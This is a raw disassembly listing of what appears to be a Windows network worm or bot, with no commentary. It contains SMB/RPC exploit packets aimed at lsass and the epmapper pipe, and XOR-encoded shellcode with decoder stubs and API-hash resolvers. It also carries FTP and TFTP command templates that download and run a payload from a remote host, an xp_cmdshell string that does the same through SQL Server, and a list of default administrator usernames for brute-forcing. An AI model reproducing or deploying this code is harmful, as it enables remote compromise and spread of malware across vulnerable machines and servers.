dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_424D5C dd offset loc_401495 ; DATA XREF: sub_402988+3F1o
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_424DF0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402988+314o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_424E5C dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402988+33Fo
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_424ED0 dd 0 ; DATA XREF: sub_402988+36Do
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 2 dup(0)
word_424F58 dw 0AD9Dh ; DATA XREF: sub_40283D+30r
; sub_402988+E3r
align 4
dd 2 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 8
dword_424F98 dd 1004600h ; DATA XREF: sub_402988+13Dr
; sub_402988+240r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
dword_425050 dd 0A0D7325h, 0 ; DATA XREF: sub_40283D+EAo
; sub_4036EB+102o ...
aEchoOpenSDEqEc db 'echo open %s %d >> eq&echo user %s %s >> eq &echo get %s >> eq &e'
; DATA XREF: sub_40283D+A4o
db 'cho quit >> eq &ftp -n -s:eq &%s',0Dh,0Ah,0
; ---------------------------------------------------------------------------
loc_4250BC: ; DATA XREF: sub_402988+171o
; sub_40384C+177o
jmp short loc_4250C4
; ---------------------------------------------------------------------------
jmp short loc_4250C6
; ---------------------------------------------------------------------------
dd 0
; ---------------------------------------------------------------------------
loc_4250C4: ; CODE XREF: .nsp0:loc_4250BCj
; DATA XREF: sub_402988+27o ...
pop esp
pop esp
loc_4250C6: ; CODE XREF: .nsp0:004250BEj
and eax, 70695C73h
arpl [eax+eax], sp
; ---------------------------------------------------------------------------
dw 0
dword_4250D0 dd 1CEC8166h ; DATA XREF: sub_402988+Dr
; sub_40384C+Dr
dword_4250D4 dd 0E4FF07h ; DATA XREF: sub_402988+16r
; sub_40384C+16r
dword_4250D8 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_4033CB+E1o
; sub_4033CB+21Bo
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425124 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_403178+123o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_425488 dd 20h, 0 ; DATA XREF: sub_403178+136o
dd 20h, 5C005Ch, 0
off_42549C dd offset aStreetfi ; DATA XREF: sub_403178+15Do
; "streetfi"
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
dd 0
dword_4254DC dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_403178+174o
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx: ; DATA XREF: sub_403178+45o
unicode 0, <FXNBFXFXNBFXFXFXFX>
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
dword_4255EC dd 18759Fh ; DATA XREF: sub_403178+104o
dword_4255F0 dd 100139Dh ; DATA XREF: sub_403178+FBo
asc_4255F4: ; DATA XREF: sub_402FDD+1Co
; sub_4030C0+16o
unicode 0, <\\>,0
align 4
aIpc: ; DATA XREF: sub_402FDD+Co
; sub_4030C0+Bo
unicode 0, <\IPC$>,0
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4033CB+41o
align 10h
jmp short loc_425632
; =============== S U B R O U T I N E =======================================
sub_425622 proc far ; CODE XREF: sub_425622:loc_425632p
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_42562A: ; CODE XREF: sub_425622+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_42562A
jmp short loc_425637
; ---------------------------------------------------------------------------
loc_425632: ; CODE XREF: .nsp0:00425620j
call near ptr sub_425622
loc_425637: ; CODE XREF: sub_425622+Ej
jo short loc_42569B
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_4256B9
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_42569B: ; CODE XREF: sub_425622:loc_425637j
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_4256B9: ; CODE XREF: sub_425622+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_425622 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_425760: ; DATA XREF: sub_40384C+156o
; sub_40384C+212o
jmp short loc_425772
; =============== S U B R O U T I N E =======================================
sub_425762 proc near ; CODE XREF: sub_425762:loc_425772p
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_42576A: ; CODE XREF: sub_425762+Cj
xor byte ptr [edx+ecx], 99h
loop loc_42576A
jmp short loc_425777
; ---------------------------------------------------------------------------
loc_425772: ; CODE XREF: .nsp0:loc_425760j
call sub_425762
loc_425777: ; CODE XREF: sub_425762+Ej
jo short near ptr dword_4256F0+1Eh
cwde
cdq
cdq
retn
sub_425762 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_425810 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_40384C+105o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_4258F8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: sub_403C8B+85o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_425984 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403C8B+B1o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows20002_0:
unicode 0, <Windows 2000 2195>,0
aWindows20005_1:
unicode 0, <Windows 2000 5.0>,0
align 10h
dword_425A30 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403C8B+D8o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_425B10 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40384C+58o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_0: ; DATA XREF: sub_40384C+8Ao
unicode 0, <C$>,0
a?????_0 db '?????',0
dd 0
dword_425B74 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40384C+2AAo
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_425BE0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40384C+2D1o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425C84 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40384C+3B0o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_425D04 dd offset loc_401495 ; DATA XREF: sub_40384C+3DEo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_425D98 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40384C+306o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_425E04 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40384C+331o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_425E78 dd 0 ; DATA XREF: sub_40384C+35Fo
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 3 dup(0)
aWinxpProfess_0 db 'WinXP Professional [universal] lsass.exe ',0
align 8
dword_425F38 dd 1004600h ; DATA XREF: sub_40384C+140r
; sub_40384C+245r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: sub_4036EB+BEo
; sub_4051BC+9Do
db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
align 4
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4036EB+97o
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_404108+B2o
align 4
dword_42607C dd 10FF8h, 0 ; DATA XREF: sub_404108+6Ao
dword_426084 dd 10FF8h ; DATA XREF: sub_404108+79o
dword_426088 dd 7FFDF020h, 0 ; DATA XREF: sub_404108+162o
dword_426090 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_404532+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkPro_1 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_1 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_426118 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_404532+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_426148 dd 0 ; DATA XREF: sub_404532+44o
dd 800000D4h, 0
unk_426154 db 81h ; ; DATA XREF: sub_40460C+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
align 10h
byte_4261A0 db 41h ; DATA XREF: sub_4046AA+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 4
; =============== S U B R O U T I N E =======================================
sub_4261E4 proc near ; DATA XREF: .nsp0:00404987o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_4262E0
push dword ptr [esi]
push 63D61209h
call sub_4262F6
mov [esi+8], eax
call sub_4262A9
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_4262F6
mov [esi+0Ch], eax
call sub_42625B
push dword ptr [esi+4]
push 4C0297FAh
call sub_4262F6
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_4261E4 endp
; =============== S U B R O U T I N E =======================================
sub_42625B proc near ; CODE XREF: sub_4261E4+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_426284
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_42625B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426284 proc near ; CODE XREF: sub_42625B+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_426293: ; CODE XREF: sub_426284+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_4262A0
inc ebx
jmp short loc_426293
; ---------------------------------------------------------------------------
loc_4262A0: ; CODE XREF: sub_426284+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_426284 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4262A9 proc near ; CODE XREF: sub_4261E4+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_4262C1: ; CODE XREF: sub_4262A9+1Ej
cmp [ecx], ebx
jz short loc_4262C9
mov ecx, [ecx]
jmp short loc_4262C1
; ---------------------------------------------------------------------------
loc_4262C9: ; CODE XREF: sub_4262A9+1Aj
mov edx, edi
loc_4262CB: ; CODE XREF: sub_4262A9+2Aj
cmp [edx+4], ebx
jz short loc_4262D5
mov edx, [edx+4]
jmp short loc_4262CB
; ---------------------------------------------------------------------------
loc_4262D5: ; CODE XREF: sub_4262A9+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_4262A9 endp
; =============== S U B R O U T I N E =======================================
sub_4262E0 proc near ; CODE XREF: sub_4261E4+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_4262E0 endp
; =============== S U B R O U T I N E =======================================
sub_4262F6 proc near ; CODE XREF: sub_4261E4+16p
; sub_4261E4+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_42630C: ; CODE XREF: sub_4262F6+33j
jecxz short loc_426346
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_426319: ; CODE XREF: sub_4262F6+2Dj
lodsb
cmp al, ah
jz short loc_426325
ror edi, 0Dh
add edi, eax
jmp short loc_426319
; ---------------------------------------------------------------------------
loc_426325: ; CODE XREF: sub_4262F6+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_42630C
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_426346: ; CODE XREF: sub_4262F6:loc_42630Cj
; sub_4262F6:loc_426346j
jmp short loc_426346
sub_4262F6 endp
; ---------------------------------------------------------------------------
dd 0
; =============== S U B R O U T I N E =======================================
sub_42634C proc near ; DATA XREF: .nsp0:00404937o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_42639E
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_426369: ; CODE XREF: sub_42634C+38j
jecxz short loc_426399
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_426374: ; CODE XREF: sub_42634C+32j
lodsb
test al, al
jz short loc_426380
ror edx, 0Dh
add edx, eax
jmp short loc_426374
; ---------------------------------------------------------------------------
loc_426380: ; CODE XREF: sub_42634C+2Bj
cmp edx, [esp+arg_0]
jnz short loc_426369
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_426399: ; CODE XREF: sub_42634C:loc_426369j
mov [esp+arg_0], ebx
retn
sub_42634C endp
; =============== S U B R O U T I N E =======================================
sub_42639E proc near ; CODE XREF: sub_42634C+7p
; FUNCTION CHUNK AT 004263D6 SIZE 00000007 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_4263B7
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_4263C2
; ---------------------------------------------------------------------------
loc_4263B7: ; CODE XREF: sub_42639E+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_4263C2: ; CODE XREF: sub_42639E+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_4263D6
sub_42639E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4263C9 proc near ; CODE XREF: sub_42639E:loc_4263D6p
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_4263C9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42639E
loc_4263D6: ; CODE XREF: sub_42639E+29j
call sub_4263C9
loc_4263DB: ; DATA XREF: sub_4040AD+1Bo
; sub_40CE55+819o ...
add [ebx], ah
; END OF FUNCTION CHUNK FOR sub_42639E
; ---------------------------------------------------------------------------
db 3 dup(0)
dword_4263E0 dd 60h ; DATA XREF: sub_404108+320o
dword_4263E4 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_404108+2F5o
dword_4263F0 dd 30h ; DATA XREF: sub_404108+2CAo
; .nsp0:0042C5B4o ...
dword_4263F4 dd 0A1h ; DATA XREF: sub_404108+29Fo
dword_4263F8 dd 3 ; DATA XREF: sub_404108+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_404108+153o
align 4
loc_426404: ; DATA XREF: sub_404108+E8o
jmp short near ptr dword_42640C
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_42640C dd 0 ; CODE XREF: .nsp0:loc_426404j
dword_426410 dd 2F2F7325h, 2E732520h, 0 ; DATA XREF: .nsp0:00404AD5o
aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: .nsp0:0040495Co
db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_404F08+1ACo
align 4
; aExecMaster(long long, *)
aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
; DATA XREF: sub_404F08+178o
db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
db '&%s&del eq',0Dh,0Ah
db 27h,0
align 4
aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
; DATA XREF: sub_404F08+E4o
align 10h
aAdmins db 'admins',0 ; DATA XREF: sub_404F08+47o
; .nsp0:0042C324o
align 4
aAdministrater db 'administrater',0 ; DATA XREF: sub_404F08+40o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: sub_404F08+39o
; .nsp0:0042C318o
align 4
aAdministrator db 'administrator',0 ; DATA XREF: sub_404F08+32o
; .nsp0:0042C314o ...
align 4
aAdmin db 'admin',0 ; DATA XREF: sub_404F08+2Bo
; .nsp0:0042C328o
align 10h
aRoot db 'root',0 ; DATA XREF: sub_404F08+24o
; .nsp0:0042C330o ...
align 4
aSa db 'sa',0 ; DATA XREF: sub_404F08+19o
align 4
dword_4265BC dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h
; DATA XREF: .nsp0:00405393o
db 1Ah
; ---------------------------------------------------------------------------
loc_4265CD: ; CODE XREF: .nsp0:004265D4j
mov bl, [edi]
xor bl, dl
mov [edi], bl
inc edi
loop loc_4265CD
ficom word ptr [esi]
dec edi
pop esp
aaa
xor [ecx+6Ch], bl
; ---------------------------------------------------------------------------
dw 28CDh
